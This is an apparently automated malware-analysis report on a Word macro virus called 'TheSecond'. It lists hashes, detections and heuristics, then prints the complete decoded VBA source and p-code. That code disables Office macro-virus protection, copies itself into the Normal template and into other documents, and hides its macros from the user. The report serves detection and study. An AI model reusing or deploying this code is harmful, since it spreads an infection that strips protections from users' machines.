Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c798336ac04c14bd…

MALICIOUS

Office (OLE)

29.0 KB Created: 2002-08-24 07:12:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: f0c775789cad38dd6e72985bb890816a SHA-1: cdb5e7ff12fd2ddc5deb1630efafc277ee71d41c SHA-256: c798336ac04c14bd3b277e7f2801584aeab088f573d0ff170a3bce08ce78b217
248 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains a legacy WordBasic macro and a VBA macro with an AutoClose subroutine, which is a common technique for malware to execute automatically. The script attempts to export itself to 'TheSecond.tmp' and import it into the Normal template, indicating an attempt to achieve persistence or spread. The ClamAV detection 'Doc.Trojan.TheSecond-3' further confirms its malicious nature. The document body contains 'VIRUS!!!!!!!!!!!!!!!' which is likely a lure.

Heuristics 5

  • ClamAV: Doc.Trojan.TheSecond-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.TheSecond-3
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
      Options.VirusProtection = False
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8022 bytes
SHA-256: 38cd355fcfb71b45470f223a534cfd8a069beb448ffab1fc504de39ecdc21711
Detection
ClamAV: Doc.Trojan.TheSecond-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "TheSecond"
Sub AutoClose()
  Copyrights = "The Second, 2000"
  ForYou = "Wait for the future Word-Excel release!"
  Options.VirusProtection = False
  flag = False
  counter = NormalTemplate.VBProject.VBComponents.Count
  For I = 1 To counter
    If NormalTemplate.VBProject.VBComponents.Item(I).Name = "TheSecond" Then flag = True
  Next I
  x = Application.StartupPath + "TheSecond.tmp"
  If Not flag Then
    ActiveDocument.VBProject.VBComponents("TheSecond").Export (x)
    NormalTemplate.VBProject.VBComponents.Import (x)
  End If
  flag = False
  infected = False
  havesave = ActiveDocument.Saved
  For I = 1 To ActiveDocument.VBProject.VBComponents.Count
    If ActiveDocument.VBProject.VBComponents.Item(I).Name = "TheSecond" Then flag = True
  Next I
  If Not flag Then
    NormalTemplate.VBProject.VBComponents("TheSecond").Export (x)
    ActiveDocument.VBProject.VBComponents.Import (x)
    infected = True
  End If
  If havesave Then
    If infected Then
      Dialogs(wdDialogFileSaveAs).Execute
    End If
  Else
    Dialogs(wdDialogFileSaveAs).Show
  End If
End Sub
Sub FilePrint()
  Selection.Find.ClearFormatting
  Selection.Find.Replacement.ClearFormatting
  With Selection.Find
    .Text = "威徼�""
    .Replacement.Text = "腕滂�""
    .Forward = True
    .Wrap = wdFindContinue
    .Format = False
    .MatchCase = False
    .MatchWholeWord = False
    .MatchWildcards = False
    .MatchSoundsLike = False
    .MatchAllWordForms = False
  End With
  Selection.Find.Execute Replace:=wdReplaceAll
  Dialogs(wdDialogFilePrint).Show
  Selection.Find.ClearFormatting
  Selection.Find.Replacement.ClearFormatting
  With Selection.Find
    .Text = "腕滂�""
    .Replacement.Text = "威徼�""
    .Forward = True
    .Wrap = wdFindContinue
    .Format = False
    .MatchCase = False
    .MatchWholeWord = False
    .MatchWildcards = False
    .MatchSoundsLike = False
    .MatchAllWordForms = False
  End With
  Selection.Find.Execute Replace:=wdReplaceAll
End Sub
Sub ToolsMacro()
  Dialogs(wdDialogToolsMacro).Display
End Sub
Sub ViewVBCode()
  MsgBox ("湾� 玎沭箧屙睇� 爨牮铖钼!")
End Sub

' Processing file: /tmp/qstore_3xo72_sp
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 924 bytes
' Macros/VBA/TheSecond - 3787 bytes
' Line #0:
' 	FuncDefn (Sub AutoClose())
' Line #1:
' 	LitStr 0x0010 "The Second, 2000"
' 	St Copyrights 
' Line #2:
' 	LitStr 0x0027 "Wait for the future Word-Excel release!"
' 	St ForYou 
' Line #3:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #4:
' 	LitVarSpecial (False)
' 	St flag 
' Line #5:
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	St counter 
' Line #6:
' 	StartForVariable 
' 	Ld I 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld counter 
' 	For 
' Line #7:
' 	Ld I 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd Name 
' 	LitStr 0x0009 "TheSecond"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St flag 
' 	EndIf 
' Line #8:
' 	StartForVariable 
' 	Ld I 
' 	EndForVariable 
' 	NextVar 
' Line #9:
' 	Ld Application 
' 	MemLd StartupPath 
' 	LitStr 0x000D "TheSecond.tmp"
' 	Add 
' 	St x 
' Line #10:
' 	Ld flag 
' 	Not 
' 	IfBlock 
' Line #11:
' 	Ld x 
' 	Paren 
' 	LitStr 0x0009 "TheSecond"
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	ArgsMemCall Export 0x0001 
' Line #12:
' 	Ld x 
' 	Paren 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemCall Import 0x0001 
' Line #13:
' 	EndIfBlock 
' Line #14:
' 	LitVarSpecial (False)
' 	St flag 
' Line #15:
' 	LitVarSpecial (False)
' 	St infected 
' Line #16:
' 	Ld ActiveDocument 
' 	MemLd Saved 
' 	St havesave 
' Line #17:
' 	StartForVariable 
' 	Ld I 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	For 
' Line #18:
' 	Ld I 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd Name 
' 	LitStr 0x0009 "TheSecond"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St flag 
' 	EndIf 
' Line #19:
' 	StartForVariable 
' 	Ld I 
' 	EndForVariable 
' 	NextVar 
' Line #20:
' 	Ld flag 
' 	Not 
' 	IfBlock 
' Line #21:
' 	Ld x 
' 	Paren 
' 	LitStr 0x0009 "TheSecond"
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	ArgsMemCall Export 0x0001 
' Line #22:
' 	Ld x 
' 	Paren 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemCall Import 0x0001 
' Line #23:
' 	LitVarSpecial (True)
' 	St infected 
' Line #24:
' 	EndIfBlock 
' Line #25:
' 	Ld havesave 
' 	IfBlock 
' Line #26:
' 	Ld infected 
' 	IfBlock 
' Line #27:
' 	Ld wdDialogFileSaveAs 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Execute 0x0000 
' Line #28:
' 	EndIfBlock 
' Line #29:
' 	ElseBlock 
' Line #30:
' 	Ld wdDialogFileSaveAs 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Show 0x0000 
' Line #31:
' 	EndIfBlock 
' Line #32:
' 	EndSub 
' Line #33:
' 	FuncDefn (Sub FilePrint())
' Line #34:
' 	Ld Selection 
' 	MemLd Find 
' 	ArgsMemCall ClearFormatting 0x0000 
' Line #35:
' 	Ld Selection 
' 	MemLd Find 
' 	MemLd Replacement 
' 	ArgsMemCall ClearFormatting 0x0000 
' Line #36:
' 	StartWithExpr 
' 	Ld Selection 
' 	MemLd Find 
' 	With 
' Line #37:
' 	LitStr 0x0006 "威徼�""
' 	MemStWith Text 
' Line #38:
' 	LitStr 0x0006 "腕滂�""
' 	MemLdWith Replacement 
' 	MemSt Text 
' Line #39:
' 	LitVarSpecial (True)
' 	MemStWith Forward 
' Line #40:
' 	Ld wdFindContinue 
' 	MemStWith Wrap 
' Line #41:
' 	LitVarSpecial (False)
' 	MemStWith Format 
' Line #42:
' 	LitVarSpecial (False)
' 	MemStWith MatchCase 
' Line #43:
' 	LitVarSpecial (False)
' 	MemStWith MatchWholeWord 
' Line #44:
' 	LitVarSpecial (False)
' 	MemStWith MatchWildcards 
' Line #45:
' 	LitVarSpecial (False)
' 	MemStWith MatchSoundsLike 
' Line #46:
' 	LitVarSpecial (False)
' 	MemStWith MatchAllWordForms 
' Line #47:
' 	EndWith 
' Line #48:
' 	Ld wdReplaceAll 
' 	ParamNamed Replace 
' 	Ld Selection 
' 	MemLd Find 
' 	ArgsMemCall Execute 0x0001 
' Line #49:
' 	Ld wdDialogFilePrint 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Show 0x0000 
' Line #50:
' 	Ld Selection 
' 	MemLd Find 
' 	ArgsMemCall ClearFormatting 0x0000 
' Line #51:
' 	Ld Selection 
' 	MemLd Find 
' 	MemLd Replacement 
' 	ArgsMemCall ClearFormatting 0x0000 
' Line #52:
' 	StartWithExpr 
' 	Ld Selection 
' 	MemLd Find 
' 	With 
' Line #53:
' 	LitStr 0x0006 "腕滂�""
' 	MemStWith Text 
' Line #54:
' 	LitStr 0x0006 "威徼�""
' 	MemLdWith Replacement 
' 	MemSt Text 
' Line #55:
' 	LitVarSpecial (True)
' 	MemStWith Forward 
' Line #56:
' 	Ld wdFindContinue 
' 	MemStWith Wrap 
' Line #57:
' 	LitVarSpecial (False)
' 	MemStWith Format 
' Line #58:
' 	LitVarSpecial (False)
' 	MemStWith MatchCase 
' Line #59:
' 	LitVarSpecial (False)
' 	MemStWith MatchWholeWord 
' Line #60:
' 	LitVarSpecial (False)
' 	MemStWith MatchWildcards 
' Line #61:
' 	LitVarSpecial (False)
' 	MemStWith MatchSoundsLike 
' Line #62:
' 	LitVarSpecial (False)
' 	MemStWith MatchAllWordForms 
' Line #63:
' 	EndWith 
' Line #64:
' 	Ld wdReplaceAll 
' 	ParamNamed Replace 
' 	Ld Selection 
' 	MemLd Find 
' 	ArgsMemCall Execute 0x0001 
' Line #65:
' 	EndSub 
' Line #66:
' 	FuncDefn (Sub ToolsMacro())
' Line #67:
' 	Ld wdDialogToolsMacro 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Display 0x0000 
' Line #68:
' 	EndSub 
' Line #69:
' 	FuncDefn (Sub ViewVBCode())
' Line #70:
' 	LitStr 0x0019 "湾� 玎沭箧屙睇� 爨牮铖钼!"
' 	Paren 
' 	ArgsCall MsgBox 0x0001 
' Line #71:
' 	EndSub

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